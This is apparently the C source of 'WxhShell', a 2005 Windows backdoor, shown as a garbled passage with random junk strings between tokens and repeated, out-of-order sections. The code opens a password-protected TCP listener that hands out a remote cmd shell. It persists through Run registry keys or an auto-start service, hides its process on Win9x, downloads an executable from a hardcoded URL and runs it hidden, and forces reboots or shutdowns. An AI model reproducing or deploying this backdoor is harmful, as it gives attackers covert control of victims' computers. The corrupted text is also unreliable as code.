{"?%Ku# 0LKRN|@ PROCNTQSIP NtQueryInformationProcess; s0_nLbWwO aATA9V static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "Pf~iwfw static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZW}_Qs mQ=#nk$~g HANDLE hProcess; L:8q8i PROCESS_BASIC_INFORMATION pbi; IMfqiH) )/EO&F HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'ah[(F<*@e if(NULL == hInst ) return 0; )Beiu* ?rup/4| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3&/Ixm: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ${)b[22": NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #=v~8 9M9?%N:ra if (!NtQueryInformationProcess) return 0; 7!$^r$t -tNUMi' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !YJs]_Wr if(!hProcess) return 0; T n}s*<=V |&[EZ+[ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @fV9
S"TcM VYhbx
'e CloseHandle(hProcess); EyLu O-5 FEVlZ<PW3I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e,5C8Q`Z if(hProcess==NULL) return 0; /OJ`c`>Q: g>9kXP+ HMODULE hMod; d'I"jZ char procName[255]; w'3iY,_ufC unsigned long cbNeeded; -S+zmo8 {u9}bx'< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M:6"H%h,W I0RvnMw CloseHandle(hProcess); KK%M~Y+tU' TBrPf-Xr if(strstr(procName,"services")) return 1; // 以服务启动 Fr$5RAyg 2wgg7[tGi return 0; // 注册表启动 0P(!j_2m } 1>&]R= O,A{3DAe0 // 主模块 ~3S~\0&| int StartWxhshell(LPSTR lpCmdLine) -B\HI*u { zkdetrR SOCKET wsl; :#~j:C| BOOL val=TRUE; :Xd<74Nu int port=0; TvQo? struct sockaddr_in door; qcGK2Qx C{XmVc. if(wscfg.ws_autoins) Install(); /[>sf[X\I9 T${Q.zHY[! port=atoi(lpCmdLine); N{~YJ$!8 BI}Cg{^km if(port<=0) port=wscfg.ws_port; 3 SGDy] HOh!Xcu WSADATA data; CWP2{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I15{)o(8$ uL/m u< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ji 0
tQV setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FjI`uP door.sin_family = AF_INET; 1~QPG\cdIX door.sin_addr.s_addr = inet_addr("127.0.0.1"); .q 3/_* door.sin_port = htons(port); {&T_sw@[ ^Js9 s8?$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b,%C{mC closesocket(wsl); +XYE {E5 return 1; ")HFYqP>9 } ~<OSYb mS~kJy_- if(listen(wsl,2) == INVALID_SOCKET) { /_#q@r4ZQ closesocket(wsl); 6qd\)q6T&x return 1; QZ%`/\(!8_ } qXjxNrK Wxhshell(wsl); Nm>A'bLM WSACleanup(); W1FI mlXS e01epVR; return 0; !o[7wKrXb d6sye^P } {Fe[:\ -{vKus // 以NT服务方式启动 *~j@*{u VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1\rz%E { _M5|Y@XN- DWORD status = 0; r!a3\ep DWORD specificError = 0xfffffff; H_<C!OgR f &wb serviceStatus.dwServiceType = SERVICE_WIN32; "{Eta serviceStatus.dwCurrentState = SERVICE_START_PENDING; \<6CZ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; usL*
x9i serviceStatus.dwWin32ExitCode = 0; f[^Aw(o serviceStatus.dwServiceSpecificExitCode = 0; Z} r*K% serviceStatus.dwCheckPoint = 0; 2oRg 2R} serviceStatus.dwWaitHint = 0; B\:%ufd
~
)sp4Ie hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h_IDO% if (hServiceStatusHandle==0) return; ""QP% 1"M]3Kl status = GetLastError(); :e%Pvk if (status!=NO_ERROR) 1!T1Y,w { =-lb)Z"d serviceStatus.dwCurrentState = SERVICE_STOPPED; u21EP[[, serviceStatus.dwCheckPoint = 0; P0PWJ^+,+ serviceStatus.dwWaitHint = 0; f/Bp.YwL serviceStatus.dwWin32ExitCode = status; t=O8f5Pf{ serviceStatus.dwServiceSpecificExitCode = specificError; KC#q@InK SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8rS:5:Hi return; r[Hc>wBv } t; {F%9j{ 'V=P*#|SR serviceStatus.dwCurrentState = SERVICE_RUNNING; =j*$
|X3W serviceStatus.dwCheckPoint = 0;
Eq\M;aDq serviceStatus.dwWaitHint = 0; QM#4uI55B if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K$_0`>[ } aC.~&MxFC 9dUravC7 // 处理NT服务事件,比如:启动、停止 t#pS{.I VOID WINAPI NTServiceHandler(DWORD fdwControl) z}ddqZ27G$ { qF-@V25P switch(fdwControl) W=qVc { Gc; {\VU case SERVICE_CONTROL_STOP: 6N
S201o serviceStatus.dwWin32ExitCode = 0; O[)kboY serviceStatus.dwCurrentState = SERVICE_STOPPED; 5m(^W[u ` serviceStatus.dwCheckPoint = 0; Q &K serviceStatus.dwWaitHint = 0; rOOT8nkR# { I4q9|'-yx SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,lA s } 6@0OQb return; Fv<F}h? 6 case SERVICE_CONTROL_PAUSE: .KUv(- serviceStatus.dwCurrentState = SERVICE_PAUSED; |! E)GahM break; :'l^kSP_*C case SERVICE_CONTROL_CONTINUE: thM4vq serviceStatus.dwCurrentState = SERVICE_RUNNING; D"?fn<2 break; r^a7MHY1 case SERVICE_CONTROL_INTERROGATE: $LFYoovX break; ssxzC4m }; y6,/:qm SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9!}8UALD } $!yW_HTx 1@1U/ss1 // 标准应用程序主函数 =i*;VFc int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]4]6Qki { %)I{%~u0 h*$y[}hDuv // 获取操作系统版本 b8SHg^} OsIsNt=GetOsVer(); AKyUfAj3 GetModuleFileName(NULL,ExeFile,MAX_PATH); a (b# lqZ 5?BD1 // 从命令行安装 j<@lX^ if(strpbrk(lpCmdLine,"iI")) Install(); s`'{I8'p/ ?Yk.$90 // 下载执行文件 =4PV;>X if(wscfg.ws_downexe) { ?D*/*Gk{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /+;h)3PN6 WinExec(wscfg.ws_filenam,SW_HIDE); g8xQ|px } =U|.^5sa# VAf1 " )pC if(!OsIsNt) { ;he"ph=> // 如果时win9x,隐藏进程并且设置为注册表启动 ,N[7/kT| HideProc(); _i|t
Y4L StartWxhshell(lpCmdLine); 3ojlB |Z } % <*g!y ` else HbAkZP if(StartFromService()) 0ANZAX5 // 以服务方式启动 w6GyBo{2O_ StartServiceCtrlDispatcher(DispatchTable); SO(NVJh else _FVcx7l!u // 普通方式启动 FrYqaP StartWxhshell(lpCmdLine); .=;3d~.] ^_u kLzP9 return 0; 48qV>Gwf } &c:Ad%
z #( jw!d& ,5,!es@`b E}p&2P+MR ===========================================
!0@Yplj U4-g^S[ ZUR6n>r 4?7W+/~<& ytoo~n ps%q9}J " `t9?=h! dEA6 #include <stdio.h> O6/f5 #include <string.h> 4VCOKx #include <windows.h> lfz2~Si5A #include <winsock2.h> K4;'/cS #include <winsvc.h> uv(Sdiir8 #include <urlmon.h> -Sx\Xi"<o= 7~aM=8r #pragma comment (lib, "Ws2_32.lib") I@%t.%O Jp #pragma comment (lib, "urlmon.lib") >JCM.I0_| 3`.7<f` #define MAX_USER 100 // 最大客户端连接数 2.zsCu4lj. #define BUF_SOCK 200 // sock buffer +W\f(/ q0 #define KEY_BUFF 255 // 输入 buffer Vle@4]M\ sq[iY #define REBOOT 0 // 重启 aL%AQB, #define SHUTDOWN 1 // 关机 muZ~*kMc 9Hu/u=vB< #define DEF_PORT 5000 // 监听端口 JSW}*HR X+}1 #define REG_LEN 16 // 注册表键长度 "4H
+!r} #define SVC_LEN 80 // NT服务名长度 ^Z#W_R\l mfo1+owT // 从dll定义API y_IM@)1H~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yo)%J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R_7 d@FQ1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vIwCJN1C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;u(<h?%e M8Z2Pg\0 // wxhshell配置信息 "WK{ >T struct WSCFG { o=?C&f{ int ws_port; // 监听端口 5HO9+i char ws_passstr[REG_LEN]; // 口令 h!ZV8yMc int ws_autoins; // 安装标记, 1=yes 0=no >W`4aA char ws_regname[REG_LEN]; // 注册表键名 oifv+oY char ws_svcname[REG_LEN]; // 服务名 B'EKM)dA char ws_svcdisp[SVC_LEN]; // 服务显示名 @reeO= char ws_svcdesc[SVC_LEN]; // 服务描述信息 C@W"yYt char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,o,I5>` int ws_downexe; // 下载执行标记, 1=yes 0=no ICkp$u^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0B@Jity#! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qj6/[mUr~ R>"OXFaE }; )5U[o0td Kt|1&Gk // default Wxhshell configuration /_Z652@ struct WSCFG wscfg={DEF_PORT, 4NG?_D5& "xuhuanlingzhe", WRDjh7~Efn 1, .Pw\~X3! "Wxhshell", .0O2Qqdg "Wxhshell", 3*)ig@e6 "WxhShell Service",
S"$m] "Wrsky Windows CmdShell Service", yH*6@P4:0= "Please Input Your Password: ", Zrr5csE 1, !M]\I & "http://www.wrsky.com/wxhshell.exe", HnCzbt@ "Wxhshell.exe" m"jV}@agX }; )
^3avRsC p4i]7o@ // 消息定义模块 16i"Yg!* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J8)#PY[i4 char *msg_ws_prompt="\n\r? for help\n\r#>"; P7MeX(Tay char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A\#P*+k 0 char *msg_ws_ext="\n\rExit."; o b|BXF char *msg_ws_end="\n\rQuit."; Y +\% char *msg_ws_boot="\n\rReboot..."; yK2^Y]Ku? char *msg_ws_poff="\n\rShutdown..."; '@CR\5 @ char *msg_ws_down="\n\rSave to "; OP|8S k6
r e-*.Ca char *msg_ws_err="\n\rErr!"; ^=SD9V char *msg_ws_ok="\n\rOK!"; 5-0{+R5v jSuL5|Gui char ExeFile[MAX_PATH]; cEd+MCN int nUser = 0; 9n5<]Q( HANDLE handles[MAX_USER]; 70mpSD3 int OsIsNt; Cp]"1%M, `o?Ph&p} SERVICE_STATUS serviceStatus; %T9 sz4V SERVICE_STATUS_HANDLE hServiceStatusHandle;
D"ehWLj Xy &uZ // 函数声明 V-r3-b int Install(void); <u:WlaS int Uninstall(void); M7+h(\H]2 int DownloadFile(char *sURL, SOCKET wsh); XNb ZNaAd int Boot(int flag); F.=Bnw/- void HideProc(void); RxN,^!OV int GetOsVer(void); SdwS= (e6 int Wxhshell(SOCKET wsl); %8M)2?E void TalkWithClient(void *cs); Io|Aj int CmdShell(SOCKET sock); 0{PzUIM,W int StartFromService(void); n[,w f9 int StartWxhshell(LPSTR lpCmdLine); JS>Gd/Jd _fP&&} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R$Tp8G>j VOID WINAPI NTServiceHandler( DWORD fdwControl ); { F}; n?' 8Bq!4uq\5| // 数据结构和表定义 .rJiyED?! SERVICE_TABLE_ENTRY DispatchTable[] = {;
>Q.OX@ { P7f,OY<@%o {wscfg.ws_svcname, NTServiceMain}, f5==";eP {NULL, NULL} (%:>T Q( }; JHJ~X v Q\,o:ZU_ // 自我安装 TbF4/T1b int Install(void) |xvy')(b { 0%
#<c p char svExeFile[MAX_PATH]; <ExZ:ip HKEY key; tpTAeQ*:d strcpy(svExeFile,ExeFile); e=QK}gzX uH;-z_Wpn! // 如果是win9x系统,修改注册表设为自启动 D'hW| if(!OsIsNt) { N#_GJSG_| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V)i5=bHC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O8W7<Wc|z RegCloseKey(key); 7 +@qB]Bi< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = }:)y0L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R?EASc!b RegCloseKey(key); }AvcoD/b return 0; N9<Ujom } h}Wdh1.M3 } 1uk0d`JL } 3o|I[!2. else { ,mL
!(US k%op>
& // 如果是NT以上系统,安装为系统服务 v^7LctcVm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EK$Kee}~ if (schSCManager!=0) vHE^"l5 v { K!mOr SC_HANDLE schService = CreateService oo$MWN8a>r ( o(Cey7 schSCManager, 02k4N% wscfg.ws_svcname, xlR2|4|8 wscfg.ws_svcdisp, 35x 0T/8 SERVICE_ALL_ACCESS, hwDbs[: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X5*C+ I=2 SERVICE_AUTO_START, ow' lRHZ SERVICE_ERROR_NORMAL, ez9k4IO svExeFile, rqlc2m,<-p NULL, ^U8r0]9 NULL, ^:jN3@Q% NULL, yRYWch NULL, R,
8s_jN NULL 35*\_9/# ); LN_OD5gZ if (schService!=0) tB'V { f0LP?] CloseServiceHandle(schService); y9|K|xO[ CloseServiceHandle(schSCManager); <d7V<&@o= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *AIEl"29 strcat(svExeFile,wscfg.ws_svcname); !"TZ:"VZU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -gz0md|Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KZBrE$@%5 RegCloseKey(key); do
^RF<G return 0; :` $@}GI } m2Uc>S } 3?s ?XAh CloseServiceHandle(schSCManager); "XLe3n } ]fI/(e_U } 4E:bp W];EKj,3W return 1; &wetzC) } BD#.-xWV e|r0zw S // 自我卸载 ARfRsPxr int Uninstall(void) 9%iFV
N' { ,A5) <} HKEY key; %:qoV0DR @)8]e
S7 if(!OsIsNt) { 7CB#YP?E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u.|~$yP.! RegDeleteValue(key,wscfg.ws_regname); EC?Efc+O RegCloseKey(key); 5H:@8,B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q:|w%L*E
RegDeleteValue(key,wscfg.ws_regname); C+MSVc RegCloseKey(key); XDD<oo return 0; wp.TfKxw } G;oFTP>o } ]PNowS\ } qsg>5E else { !)Rr]
~ [Id}4[={e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IGAzE( if (schSCManager!=0) lg1PE7 { Jll-X\O`- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O hR1Jaed if (schService!=0) G(1 K9{i$ {
c~dM`2J, if(DeleteService(schService)!=0) { tO.$+4a CloseServiceHandle(schService); swpnuuC- CloseServiceHandle(schSCManager); "L2 m-e6 return 0; ;' e@t8i6 } czBi Dk4 CloseServiceHandle(schService); xUYow } oaDsk<(j;R CloseServiceHandle(schSCManager); [D'Gr*5~{ } $~'Tf>e } f e
$Wu o VB"f return 1; b5e@oIK } uiBTnG" I*1S/o_xI // 从指定url下载文件 Eo{EKI1 int DownloadFile(char *sURL, SOCKET wsh) o+g4p:Mf { wy4q[$.4v HRESULT hr; 9|!j4DS< char seps[]= "/"; }&G]0hCT! char *token; IvW@o1Q char *file; ?G/ hJ?3 char myURL[MAX_PATH]; +CTmcbyOi char myFILE[MAX_PATH]; }BN\/;<A F$hZRZ strcpy(myURL,sURL); Ud3""C5B token=strtok(myURL,seps); N5q725zJ while(token!=NULL) ;WI]vn { j.QHkI1. file=token; '.p? 6k!K token=strtok(NULL,seps); BQjam+u6 } &P n] Z|`fHO3j GetCurrentDirectory(MAX_PATH,myFILE); =%h~/, strcat(myFILE, "\\"); nN ~GP"} strcat(myFILE, file); [a8+( send(wsh,myFILE,strlen(myFILE),0); }#aKFcvg send(wsh,"...",3,0); >x'bZ]gm hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =[(1my7 if(hr==S_OK) M@^U0
? return 0; V8'`nuC+ else U4wpjHg return 1; i;lE5 &jJckT } =FBIrw{w 6f}e+ 80 // 系统电源模块 |R'i:= int Boot(int flag) ]M4NpUM { ~Ob8i 1S> HANDLE hToken; :k1$g+(lP TOKEN_PRIVILEGES tkp; Z! YpklZ?~ 4
10:%WGc if(OsIsNt) { ULvVD6RQ47 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AA7#c7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aii'}c tkp.PrivilegeCount = 1; BQ#jwu0e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <"I?jgo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VC=6uB if(flag==REBOOT) { `$9L^Yg,4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 31 ]7z return 0; [~?M/QI9 } ?0npEz| else { )Z:m)k>r; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~.Q4c*_b return 0; h3h8lt_| } P{lh)m> } U,3d) ]Zy& else { .S|-4}G(6 if(flag==REBOOT) { 3LrsWAz' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p}8ratmN return 0; WTu{,Q } v>^jy8$ else { |+/$ g. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )_O.{$
to return 0; Y\u_+CG* } /.-m}0h|W- } aL$j/SC B*Cb6'Q return 1; 4sd-zl$Of } U$$3'n <`mOU}0) // win9x进程隐藏模块 R1 qMg+ void HideProc(void) AJWLEc4XK { Vw?P.4 Ty}R^cy{d HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bBFwx @
if ( hKernel != NULL ) Q=XA"R { $9m5bQcV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); htg'tA^CtS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G 4"lZM FreeLibrary(hKernel); 0nT%Slbih } ct.Bg)E b.(XS?4o return; T]X{@_
} f<=^ 4a sKCGuw(mh // 获取操作系统版本 \#_@qHAG int GetOsVer(void) Hc
/wta { ;.r2$/E OSVERSIONINFO winfo; }1\?()rB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y(W{Jd+ GetVersionEx(&winfo); "DzGBu\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]kH}lr
yG return 1; ;<VR2U` else vF+YgQ1H return 0; aKD;1|) } iGyVG41U 4Q/r[x/&C // 客户端句柄模块 A<;0L . J int Wxhshell(SOCKET wsl) I &cX8Tw { Cd9t{pQD4 SOCKET wsh; u-1@~Z struct sockaddr_in client; ,iohfZz DWORD myID; >T(M0Tkt !~tnti6 while(nUser<MAX_USER) YN`UTi\s { |H<|{{E int nSize=sizeof(client); *\C}Ok= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }RH lYN if(wsh==INVALID_SOCKET) return 1; <f[9j u +%x^ RV} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4KZ SL:A if(handles[nUser]==0) >5df@_' closesocket(wsh); )e#fj+>x) else ;,FT&|3o nUser++; O<Jwaap } i$g|?g~] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mf#2.TR a'm!M:w return 0; Age-AJ } - =yTAx wiKCr/ // 关闭 socket .M}06,- void CloseIt(SOCKET wsh) ]zX\8eHp! { M'b:B*>6 closesocket(wsh); ^v#+PyW nUser--; 2}ag_ ExitThread(0); Lq3(Z% } THb A(SM V5cb}xx // 客户端请求句柄 IOn`cbV: void TalkWithClient(void *cs) M3)v-" { R<_mK33hd h#v L5At SOCKET wsh=(SOCKET)cs; j}i,G!-u char pwd[SVC_LEN]; d|R
HG char cmd[KEY_BUFF]; D1"1MUSod char chr[1]; S|s3}]g9 int i,j; jw%fN!? 5ZZd.9ZgM while (nUser < MAX_USER) { l85O-g}M mMn2( if(wscfg.ws_passstr) { gt#MeU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \-DM-NrZ1U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sTJJE3TBI //ZeroMemory(pwd,KEY_BUFF); cF-Jc}h i=0; 30t:O&2< while(i<SVC_LEN) { Qu!OV]Cc lF)0aDk'h // 设置超时 ojiM2QT}m fd_set FdRead; YNuewD struct timeval TimeOut; 1VRqz5 FD_ZERO(&FdRead); [B.W1 GL! FD_SET(wsh,&FdRead); pq%t@j(X TimeOut.tv_sec=8; y-D>xV)n TimeOut.tv_usec=0; L;
@aE[#z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _a?wf!4>P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q1]V|S;)X ]Fb8.q5(Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s$IcDuBu pwd=chr[0]; ~oEXM?M if(chr[0]==0xd || chr[0]==0xa) { Xcs8zT pwd=0; :d, >d break; oiIt3<BX } -i| /JH i++; g-4gI\ } 4;B=Qoxe /5Gnb.zN) // 如果是非法用户,关闭 socket k9.u[y. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6nM
rO$i0k } *g}vT8w'} d@_'P`%- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h #$_<U send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M80}3mgP~ _Y}^%eFw while(1) { ?z*W8b]' j 8~Gv=(h ZeroMemory(cmd,KEY_BUFF); Y}eZPG.h ;igEIGR // 自动支持客户端 telnet标准 11nO<WH j=0; C@l +\M( while(j<KEY_BUFF) { Zw3hp,P] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tyBg7dP cmd[j]=chr[0]; F(0pru4u if(chr[0]==0xa || chr[0]==0xd) { bcGn8 cmd[j]=0; Y/QK+UMW* break;
Y-
z~#; } .H*? '* j++; 4nX'a*'D~} } A- <.# WV9[DFU // 下载文件 t!+%g) @ if(strstr(cmd,"http://")) { 7$E2/@f send(wsh,msg_ws_down,strlen(msg_ws_down),0); %3#b6m~ if(DownloadFile(cmd,wsh)) CNpCe-%& send(wsh,msg_ws_err,strlen(msg_ws_err),0); A5(kOtgiT else SLbavP#G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |V*e2w } gwkZk-f\p else { \!?
PhNv dUBVp 9PB switch(cmd[0]) { :$) aMEq o
=jX // 帮助 5VY%o8xXa case '?': { -NI@xJO4(; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =}6Z{}(TT break; RQ_#rYmT } ~a0d.dU // 安装 r;5 AY case 'i': { ]VO,}
` if(Install()) 0^|$cvYiL send(wsh,msg_ws_err,strlen(msg_ws_err),0); }b\ipA,~ else *(_ON$+3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -h.3M0 break; t 's5~ } /eI,]CB'z // 卸载 "1pZzad
case 'r': { b W`)CWd if(Uninstall()) `s|\"@2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); NR@SDW else Xj(k(>7V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LT
y@6* break; [jG uO% } _3g %F // 显示 wxhshell 所在路径 yD=)&->Ra case 'p': { QjT#GvHY char svExeFile[MAX_PATH]; eQ4B5B%j/x strcpy(svExeFile,"\n\r"); ek_i{'hFd strcat(svExeFile,ExeFile); d,E/9y\e send(wsh,svExeFile,strlen(svExeFile),0); kB!M[[t break; aNh1e^j } <jg
wdbT"6 // 重启 jAK`96+D~b case 'b': { \)s 3]/"7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r]K0
]h@B if(Boot(REBOOT)) 0v,`P4_k send(wsh,msg_ws_err,strlen(msg_ws_err),0); YH:W] else { r>D[5B closesocket(wsh); ]mDsUZf< ExitThread(0); V0wC@? } .(.G`aKnF break; zv3<i ( } 4<!}4 // 关机 yO69p case 'd': { Zzzi\5&gU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iJ~iJ'vf if(Boot(SHUTDOWN)) |cBF-KNZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Rh+]=7 else { [~rk` closesocket(wsh); ( Nve5 ExitThread(0); E].a|4sh } IcNI uv break; l.LFlwt } !&:.Uh // 获取shell A 'P}mrY case 's': { R,k[Kh CmdShell(wsh); ~S<F closesocket(wsh); [&k& $04_ ExitThread(0); 1\9BO:<K break; {:q9: } #'{PYr // 退出 laIC}! case 'x': { PT5ni6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fn"jYSy CloseIt(wsh); ~O3uje_ break; A_$Mt~qKi^ } W,eKQV<j // 离开 "{1} case 'q': { fCo2".Tk send(wsh,msg_ws_end,strlen(msg_ws_end),0); -
G2M;]Cn closesocket(wsh); MLDg).5 WSACleanup(); nCmrt*&} exit(1); d~oWu [F* break; Ns] 9-D } 3t}o0Ai9 } >w2WyYJYH } p9bxhnn| B7^n30+L // 提示信息 h4xf%vA(; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %EhU!K#[ } )#TJw@dNf^ } ?&bVe__ EYj2h
.k return; %QcG^R } DT~y^h 9kiy^0
7G // shell模块句柄 [(ib9_`A'1 int CmdShell(SOCKET sock) Hw-oh?= { < $/Yw
STARTUPINFO si; rcb/X`l= ZeroMemory(&si,sizeof(si)); rG'k<X~7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fP4IOlHkE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a5g{.:NfO PROCESS_INFORMATION ProcessInfo; RwLdV+2\R` char cmdline[]="cmd"; ^oZs&+z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L,ey3i7a\ return 0;
61;5Yo } q|_ 5@Ly !ES#::;z? // 自身启动模式 LR?#H)$ int StartFromService(void) vnOF$6n { rMFf8D(Y typedef struct (N>ew)Ke { CX2q7azG DWORD ExitStatus; :JG}% DWORD PebBaseAddress; *j; r|P;g DWORD AffinityMask; YuW\GSV00 DWORD BasePriority; g?Ty5~:lq ULONG UniqueProcessId; n\NDi22 ULONG InheritedFromUniqueProcessId; xa axj } PROCESS_BASIC_INFORMATION; 5nw9zW
:' [ESQD5& PROCNTQSIP NtQueryInformationProcess; o sH,(\4_ 3cQmxp2* static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #NxvLW/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hA19:H=7R0 m!>'}z HANDLE hProcess; bWzc=03 PROCESS_BASIC_INFORMATION pbi; -m-WUox4" t|XC4:/>T HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); by3kfY]4s if(NULL == hInst ) return 0; x \{jWR% PH=8'GN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B_G7F[/K g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZuV NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \)
